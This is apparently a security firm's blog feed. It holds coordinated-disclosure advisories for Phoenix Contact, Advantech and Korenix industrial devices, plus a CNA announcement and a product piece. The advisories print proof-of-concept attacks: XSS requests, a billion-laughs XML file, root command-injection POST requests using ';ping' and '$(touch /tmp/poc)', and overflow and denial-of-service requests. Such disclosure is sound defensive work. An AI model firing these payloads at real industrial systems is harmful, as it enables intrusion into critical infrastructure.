In this paper, we not only share insights into our unique and thorough approach to pentesting but also shed light on common mistakes that can compromise the integrity of smart meters. Understanding these is pivotal for fortifying the digital backbone that supports our critical infrastructure.

We occasionally carry out product security tests on manufacturers from e.g Asia or USA to check for possible (politically motivated) espionage in hardware and software products. This proactive measure ensures that only trustworthy components that are as secure as possible find their way into critical infrastructures.

Explore the depths of pentesting to industrial smart meters, setting ourselves apart as one of the few in Austria to reach the lowest hardware layer. Feel free to download our paper, a valuable resource that not only outlines our approach but also provides insights into securing the heart of Industry 4.0. Let’s navigate the complexities together and contribute to a safer, more resilient industrial landscape.

Ready to dive deeper into the world of industrial smart meter pentesting and cybersecurity? We invite you to take the next step in fortifying your critical infrastructure.

Get in Touch: Have questions or eager to discuss how our expertise can benefit your specific needs? Reach out to us! Our team is ready to engage in meaningful conversations about securing your industrial systems.
Download the Paper: Knowledge is power. Download our comprehensive paper, delving into our unique approach, common pitfalls, and the importance of securing industrial smart meters. Arm yourself with insights that matter.
Share the Knowledge: Know someone who could benefit from our insights? Share the paper with your colleagues, peers, and network. Security is a collective effort, and spreading awareness is a crucial step towards a resilient digital landscape.
Stay Updated: Follow us on social media (LinkedIn) for the latest updates, news, and insights into the ever-evolving world of industrial cybersecurity. Connect with us on LinkedIn to stay in the loop.

Get in touch or via E-Mail (office [at] cyberdanube.com), download the paper, and let’s build a safer, more resilient digital landscape together!

View Fullscreen

[EN] St. Pölten UAS | Multiple Vulnerabilities in Phoenix Contact TC Cloud Client, TC Router & Cloud Client

CyberDanube — Tue, 08 Aug 2023 09:52:07 +0000

Title: Multiple Vulnerabilities
Product: Phoenix Contact TC Cloud Client 1002-4G*, TC Router 3002T-4G, Cloud Client 1101T-TX/TX
Vulnerable version: <2.07.2, <2.07.2, <2.06.10
Fixed version: 2.07.2, 2.07.2, 2.06.10
CVE: CVE-2023-3526, CVE-2023-3569
Impact: Medium
Homepage: https://www.phoenixcontact.com/
Found: 2023-05-04
By: A. Resanovic, S. Stockinger, T. Etzenberger

Disclaimer: This vulnerability was discovery during research at St. Pölten UAS, supported and coordinated by CyberDanube.

Phoenix Contact TC Cloud Client, TC Router & Cloud Client are prone to a Stored Cross-Site Scripting (XSS) and Billion laughs attack.

Vendor description

At Phoenix Contact, our approach is innovative, sustainable, and based on partnership. This applies to how we deal with employees as well as with our customers. We are also conscious of our social and environmental responsibility and we act accordingly. With the vision of the All Electric Society, we also want to empower our customers to act more sustainably by enabling the comprehensive electrification, networking, and automation of all sectors of the economy and infrastructure with our products and solutions.

Source: https://www.phoenixcontact.com/en-us/ueber-uns

Vulnerable versions

TC Router 3002T-4G* / <2.0.2
TC Cloud Client 1002-4G* / <2.07.2
Cloud Client 1101T-TX/TX / <2.06.10

Vulnerability overview

1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526
A reflected cross-site scripting vulnerability can be triggerd in the license viewer of the device. This can be used to execute malicious code in the context of a user’s browser. Cookies may be also stoled via this way.

2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569
By abusing the configuration file upload functionality of the device, it is possible to slow down all other processes.

Proof of Concept

1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526

The reflected cross-site scripting vulnerability can be triggered by using the following GET request:

https://$IP/cgi-bin/p/license?pkg=netsnmp&txt=15″>

2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569

The following configuration file can be used to exploit the binary

“/usr/bin/xmlconfig”, which supportes entity reference nodes:
===============================================================================

“&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;”>
“&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;”>
“&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;”>
“&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;”>
“&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;”>
“&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;”>
“&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;”>
“&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”>
]>
&lol9;
===============================================================================

Approach

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Update to the latest available firmware version.

Workaround

None.

Recommendation

CyberDanube recommends Phoenix Contact customers to upgrade the firmware to the latest version available.

References

Contact Timeline

2023-05-16: Contacting vendor via psirt@phoenixcontact.com
2023-05-17: Vendor informed internal product team.
2023-05-18: Added responsible disclosure policy from St. Poelten UAS.
2023-05-19: Vendor needs more time to fix the issues.
2023-06-15: Vendor asked for an explaination of the issues as he cannot reproduce them; Sent screenshots and more PoCs to the vendor.
Offered an MS Teams call to clarify the issues.
2023-06-16: Scheduled a call for 2023-06-19.
2023-06-19: Clarified issues and further timeline for the coordination. Vendor proposed to release the firmware on 2023-07-13.
2023-07-04: Contact stated that he has to shift the release after July. It will be released on 08.08.2023; Confirmed the date.
2023-07-13: Received CVE numbers from vendor.
2023-07-18: Received firmware versions from vendor.
2023-07-23:_Vendor released firmwares.
2023-08-08: Coordinated release of security advisory.

Author

UAS St. Pölten, short for University of Applied Sciences St. Pölten, is a renowned institution of higher education located in St. Pölten, Austria. Known for its focus on practical education and innovative research, UAS St. Pölten offers a wide range of programs across various disciplines.

Recently, during a lecture of CyberDanube, conducted at UAS St. Pölten, students discovered cybersecurity vulnerabilities. This research was made possible by the support and coordination provided by CyberDanube & the MEDUSA solution.

[EN] St. Pölten UAS | Multiple Vulnerabilities in Advantech EKI-15XX Series

CyberDanube — Tue, 08 Aug 2023 09:51:34 +0000

Title: Multiple Vulnerabilities
Product: Advantech EKI-1524-CE series, EKI-1522 series, EKI-1521 series
Vulnerable version: <=1.21 (CVE-2023-4202), <=1.24 (CVE-2023-4203)
Fixed version: 1.26
CVE: CVE-2023-4202, CVE-2023-4203
Impact: Medium
Homepage: https://advantech.com
Found: 2023-05-04
By: R. Haas, A. Resanovic, T. Etzenberger, M. Bineder

Disclaimer: This vulnerability was discovery during research at St. Pölten UAS, supported and coordinated by CyberDanube.

Advantech EKI-1524/1522/1521 devices are prone to multiple Stored Cross-Site Scripting (XSS).

Vendor description

“Advantech’s corporate vision is to enable an intelligent planet. The company is a global leader in the fields of IoT intelligent systems and embedded platforms. To embrace the trends of IoT, big data, and artificial intelligence, Advantech promotes IoT hardware and software solutions with the Edge Intelligence WISE-PaaS core to assist business partners and clients in connecting their industrial chains. Advantech is also working with business partners to co-create business ecosystems that accelerate the goal of industrial intelligence.”

Source: https://www.advantech.com/en/about

Vulnerable versions

EKI-1524-CE series / 1.21 (CVE-2023-4202)
EKI-1522-CE series / 1.21 (CVE-2023-4202)
EKI-1521-CE series / 1.21 (CVE-2023-4202)
EKI-1524-CE series / 1.24 (CVE-2023-4203)
EKI-1522-CE series / 1.24 (CVE-2023-4203)
EKI-1521-CE series / 1.24 (CVE-2023-4203)

Vulnerability overview

1) Stored Cross-Site Scripting (XSS) (CVE-2023-4202, CVE-2023-4203)
Two stored cross-site scripting vulnerabilities has been identified in the firmware of the device. The first XSS was identified in the “Device Name” field and the second XSS was found in the “Ping” tool. This can be exploited in the context of a victim’s session.

Proof of Concept

1) Stored Cross-Site Scripting (XSS)

Both cross-site scripting vulnerabilities are permanently affecting the device.

1.1) Stored XSS in Device Name CVE-2023-4202

The first vulnerability can be triggerd by setting the device name
(“System->Device Name”) to the following value:

“>

This code prints out the cached cookies to the screen.

1.2) Stored XSS in Ping Function CVE-2023-4203

The second XSS vulnerability can be found in “Tools->Ping”. The following GET request prints the current cached cookies of a user’s session to the screen.

http://$IP/cgi-bin/ping.sh?random_num=2013&ip=172.16.0.141%3b%20&size=56&count=1&interface=eth0&_=1682793104513

An alternative to the used payload is using “onmouseover” event tags. In this case it prints out the number “1337”: ” onmousemove=”alert(1337)

Approach

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Upgrade to the newest available firmware.

Workaround

None.

Recommendation

CyberDanube recommends Advantech customers to upgrade the firmware to the latest version available.

References

Contact Timeline

2023-05-16: Contacting vendor via security contact.
2023-05-24: Contact stated that issue 1.1) is solved after firmware v1.21.
The contact is trying to reproduce issue 1.2; Gave advice to reproduce issue.
2023-05-25: Contact stated that new firmware should resolve the issue.
2023-06-03: Sent new payload to the vendor.
2023-06-05: Vendor asked for clarification; Sent further explaination to the contact; Vendor contact said he knows a solution.
2023-06-22: Asked for an update; Contact stated that the beta firmware should resolve the issues.
2023-06-27: Asked for the release date.
2023-07-04: Contact stated, that they are currently doing QA tests.
2023-07-06: Asked if issue 1.1 is really resolved to be released; Vendor stated that it can be published.
2023-07-17: Assigned CVE numbers for the issues. Asked for an update.
2023-07-18: Vendor contact stated that the firmware will be released end of July.
2023-08-07: Asked contact for the new firmware version.
2023-08-08: Received version 1.26 as the official released firmware with fixes.
Coordinated release of security advisory.

Author

[EN] Multiple Vulnerabilities in Advantech EKI-15XX Series

CyberDanube — Wed, 10 May 2023 19:35:21 +0000

Title: Multiple Vulnerabilities
Product: Advantech EKI-1524-CE series, EKI-1522 series, EKI-1521 series
Vulnerable version: 1.21
Fixed version: 1.24
CVE: CVE-2023-2573, CVE-2023-2574, CVE-2023-2575
Impact: High
Homepage: https://advantech.com
Found: 2023-03-06

Advantech EKI-1524/1522/1521 devices are prone to authenticated command injections and a buffer overflow vulnerability. These vulnerabilities can be used to execute arbitrary commands on OS level.

Vendor description

Source: https://www.advantech.com/en/about

Vulnerable versions

EKI-1524-CE series / 1.21
EKI-1522-CE series / 1.21
EKI-1521-CE series / 1.21

Vulnerability overview

1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)
The web server of the device is prone to two authenticated command injections. These allow an attacker to gain full access to the underlying operating system of the device. This device class can be attached to legacy systems via RS-232, RS-422 or RS-485. Such peripheral systems can be affected by attacks to the device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)
The web server is prone to a buffer overflow, triggered due to missing input lenght validation in the NTP input field. According to the vendor, the NTP server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept

1) Authenticated Command Injection

The web server is prone to two authenticated command injections via POST parameters. The following proof-of-concepts show how to inject commands to the system which gets executed with root permissions in the background.

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)

The following POST request executes the command “;ping 10.0.0.1” on the system:

POST /cgi-bin/index.cgi?func=setsys HTTP/1.1
Host: 172.16.0.100
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://172.16.0.100
Connection: close
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

It is also possible to execute this command without any interceptor proxy by enclose it with “;”, which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)

The device name can also be abused for command injection. It is only executed on reboot, but this can also be done via the device’s web-interface. A POST request which injects the command “;ls /etc;” can be looks like the following:

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

Such command can also be injected by setting the device name to “;ls /etc;”.

2) Buffer Overflow (CVE-2023-2575)

The following POST request can be used to trigger a buffer overflow vulnerability in the web server:

POST /cgi-bin/index.cgi?func=setsys HTTP/1.1
Host: 172.16.0.97
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 823
Origin: http://172.16.0.97
Connection: close
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaa […] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa […]
&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

The serial port of the device provides error messages, which already indicate that the stack has been corrupted:

/ # *** Error in `./index.cgi’: free(): invalid next size (normal): 0x00069828 ***
*** Error in `./index.cgi’: malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as zombies – three buffer overflows were triggered in this case:

/ # ps
PID USER COMMAND
[…]
935 root ./index.cgi func=setsys
959 root ./index.cgi func=setsys
983 root ./index.cgi func=setsys
[…]

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Update the product to the latest available firmware version.

Workaround

None

Recommendation

CyberDanube recommends Advantech customers to upgrade the firmware to the latest version available.

References

Contact Timeline

2023-03-08: Contacting Advantech via Service Request form; No answer.
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz); Vendor confirmed vulnerabilities and will provide a fixed firmware until 2023-05-13. Asked vendor for affected models; Vendor responded that EKI-1524/1522/1521 series are affected.
2023-03-20: Asked for status update.
2023-03-21: Vendor responded that the firwmare is currently under testing.
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found additional issues and responded to vendor.
2023-04-01: Vendor asked multiple question.
2023-04-02: Responded to vendor, answered questions and asked for a call; Vendor agreed. 2023-04-04: Set date for a call to 2023-04-10.
2023-04-10: Clarified further issues.
2023-04-23: Vendor sent notification that a beta release of the firmware is available.
2023-05-02: Vendor sent notification that a new firwmare release is online.
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities have been fixed.
2023-05-11: Coordinated release of security advisory.

Author

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool > MEDUSA < has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

[EN] CyberDanube is now authorized as CNA (CVE Numbering Authority)

CyberDanube — Tue, 28 Mar 2023 11:00:59 +0000

Background

In the course of the development of the SaaS tool >MEDUSA< we frequently do research on firmware samples. Therefore, we often identify undiscovered vulnerabilities and security gaps, as recent publications and talks have proven.

We reported such vulnerabilities to vendors and requested CVE (Common Vulnerabilities and Exposures) tracking numbers via official ways at MITRE. As we detect a high number of vulnerabilities with firmware emulation, we need a lot of CVE numbers. To accelerate this process for us and for our customers in the future, we have applied to become a CNA (CVE Numbering Authority).

CVE Numbering Authorities (CNAs)

Definition

“CNAs are vendor, researcher, open source, CERT, hosted service, and bug bounty provider organizations authorized by the CVE Program to assign CVE IDs to vulnerabilities and publish CVE Records within their own specific scopes of coverage.”
https://www.cve.org/ProgramOrganization/CNAs

Benefits

Starting with March, 2023, CyberDanube is an official CNA! We affirm our commitment and leadership in the field of cybersecurity, which is incorporated in our MEDUSA and BCDR products. Not only will this allow us to fully manage the CVE number publication process, but it will also significantly streamline the vulnerability disclosure process and allow us to view locked down information, providing our customers with valuable first-hand vulnerability information to their customer base.

Outlook

Currently, 281 partners from 36 countries are registered as official CNA. (As of March 2023). CyberDanube is now 1 of only 2 (!) CNAs in Austria, and the first research CNA in this country. We are proud of this remarkable milestone and look forward to working on our cybersecurity tools and uncovering more zero-day vulnerabilities. In the future we will be able to report all findings in a regulated, transparent, quick and efficient way.

See the CVE Program announcement: www.cve.org/Media/News

We are happy to get in touch for further discussions, questions and in particular, interest in the topic!

Contact: office [at] cyberdanube.com

Decentralized & Verifiable IIoT Product & Firmware Security States on Blockchain

CyberDanube — Wed, 08 Mar 2023 15:00:48 +0000

Summary

The use of embedded systems in various industries has increased, and with the rise of IoT devices, the potential attack vectors of these systems have grown exponentially. To protect these systems, manufacturers need to implement cybersecurity strategies.

The Cyber Resilience Act (CRA) has been introduced by the EU to meet common cybersecurity standards for networked devices and services, particularly in the industrial sector.

>MEDUSA< is a SaaS tool that helps manufacturers meet these requirements by analyzing, verifying, and centrally storing the states of security based on firmware. >MEDUSA< combines the power of open-source emulation tools, established build systems, and custom technology to form an embedded device emulation system based on Linux, Android, Harmony OS, and other proprietary platforms. MEDUSA also provides a static vulnerability analysis of the status quo from the vulnerability point of view.

Blockchain Verification of Analysis Results

CyberDanube has chosen to integrate a trust authority, ITD, into their software, offering a simple implementation via their API. They store a hash value in the blockchain based on the firmware, analysis results, and entropy to ensure cybersecurity. The blockchain solution is based on a DACH consortium and a “proof of authority” in a “round-robin principle” approach. With this technology, customers can benefit from advanced technology and transparency in their business processes and in terms of (I)IoT and product security.

Read the Full Blog Article

If you would like to read the full blog article on “IIoT – Security goes blockchain”, you can find it under the following link: ITD – Infinite Trust Digital

For more information on Blockchain tech and how to implement Blockchain applications in a real world scenario do not hesitate to contact ITD direct at office [@] infinite-trust-digital.com

[EN] Multiple Vulnerabilities in Korenix JetWave Series

CyberDanube — Mon, 13 Feb 2023 14:14:20 +0000

Title: Multiple Vulnerabilities
Product: JetWave4221 HP-E, JetWave 2212G, JetWave 2212X/2212S, JetWave 2211C, JetWave 2411/2111, JetWave 2411L/2111L, JetWave 2414/2114, JetWave 2424, JetWave 2460, JetWave 3220/3420 V3
Vulnerable version: See “Vulnerable Versions”
Fixed version: See “Solution”
CVE: CVE-2023-23294, CVE-2023-23295, CVE-2023-23296
Impact: High
Homepage: https://korenix.com
Found: 2022-11-28

Multiple JetWave products from Korenix are prone to command injection and denial of service (DoS) vulnerabilities.

Vendor description

“Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.
[…]
Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners.”

Source:
https://www.korenix.com/en/about/index.aspx?kind=3

Vulnerable versions

The following firmware versions have been found to be vulnerable by CyberDanube:

Korenix JetWave4221 HP-E <= V1.3.0
Korenix JetWave 3220/3420 V3 < V1.7

The following firmware versions have been identified to be vulnerable by the vendor:

Korenix JetWave 2212G V1.3.T
Korenix JetWave 2212X/2112S V1.3.0
Korenix JetWave 2211C < V1.6
Korenix JetWave 2411/2111 < V1.5
Korenix JetWave 2411L/2111L < V1.6
Korenix JetWave 2414/2114 < V1.4
Korenix JetWave 2424 < V1.3
Korenix JetWave 2460 < V1.6

Vulnerability overview

1) Authenticated Command Injection (CVE-2023-23294, CVE-2023-23295)
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.

2) Authenticated Denial of Web-Service (CVE-2023-23296)
When logged in, a user can issue a POST request such that the underlying binary exits. The Web-Service becomes unavailable and cannot be accessed until the device gets rebooted.

Proof of Concept

1) Authenticated Command Injection

1.a) – CVE-2023-23294
The command “touch /tmp/poc” was injected to the system by using the following
POST request:

POST /goform/formTFTPLoadSave HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://172.16.0.38
Connection: close
Referer: http://172.16.0.38/mgmtsaveconf.asp
Cookie: -common-web-session-=::webs.session::d7af70f81033cff3828902e476ceda45
Upgrade-Insecure-Requests: 1

submit-url=%2Fmgmtsaveconf.asp&ip_address=192.168.1.1&file_name=%24%28touch+%2Ftmp%2Fpoc%29&tftp_action=load&tftp_config=Submit

The command gets executed as root and a file under the folder /tmp/ is created.

1.b) – CVE-2023-23295
The command “touch /tmp/poc2” was injected to the system by using the following POST request:

POST /goform/formSysCmd HTTP/1.1
Host: 172.16.0.38
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: 172.16.0.38
Cookie: -common-web-session-=::webs.session::df1307d508d798638a8b4572987462bb
Content-Length: 40

sysCmd=touch%20/tmp/poc2&submit-url=

The command gets executed as root and a file under the folder /tmp/ is created. Command output is written into /tmp/syscmd.

2) Authenticated Denial of Web-Service (CVE-2023-23296)

The process goahead chrashes when the following POST request is sent to the endpoint /goform/formDefault:

POST /goform/formDefault HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://172.16.0.38
Connection: close
Referer: http://172.16.0.38/toolping.asp
Cookie: -common-web-session-=::webs.session::3c624961199904f380e978a3967cc356
Upgrade-Insecure-Requests: 1

PingIPAddress=127.0.0.1&submit-url=%2Ftoolping.asp&Submit=Ping

The output was observed on the terminal using our emulated instance:

rm: invalid option — /
BusyBox v1.01 (2022.10.21-00:22+0000) multi-call binary
Usage: rm [OPTION]… FILE…

Remove (unlink) the FILE(s). You may use ‘–‘ to
indicate that all following arguments are non-options.

Options:
-i always prompt before removing each destination
-f remove existing destinations, never prompt
-r or -R remove the contents of directories recursively

killall: wlwatchdog: no process killed
killall: wlapwatchdog: no process killed

The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Owner of these products are suggested to update to the following versions:

Korenix JetWave 4221 HP-E V1.4.0
Korenix JetWave 2212G V1.10
Korenix JetWave 2212X/2112S V1.11
Korenix JetWave 2211C V1.6
Korenix JetWave 2411/2111 V1.5
Korenix JetWave 2411L/2111L V1.6
Korenix JetWave 2414/2114 V1.4
Korenix JetWave 2424 V1.3
Korenix JetWave 2460 V1.6
Korenix JetWave 3220/3420 V3 V1.7

Workaround

None

Recommendation

CyberDanube recommends customers from Korenix to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.

Contact Timeline

2022-12-05: Contacting Beijer Electronics Group via cs@beijerelectronics.com
2022-12-12: Meeting with Beijer Electronics. Vulnerabilities were confirmed by the vendor. The vendor planned to fix the vulnerabilities in the next 1.5 months.
2023-01-04: Contact shared the updated firmware version. CyberDanube checked if the vulnerabilities got fixed. The contact communicated that
not only JetWave4221 is vulnerable to these issues. Therefore, CyberDanube postponed the release of the Advisory until the other
products have been patched.
2023-01-30: Meeting with Beijer Electronics. Customer get informed about the issues. Fixes got published. Disclosure date got shifted to 2023-02-13 to provide a time-window for patching.
2023-02-13: Coordinated release of security advisory.

Author

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points.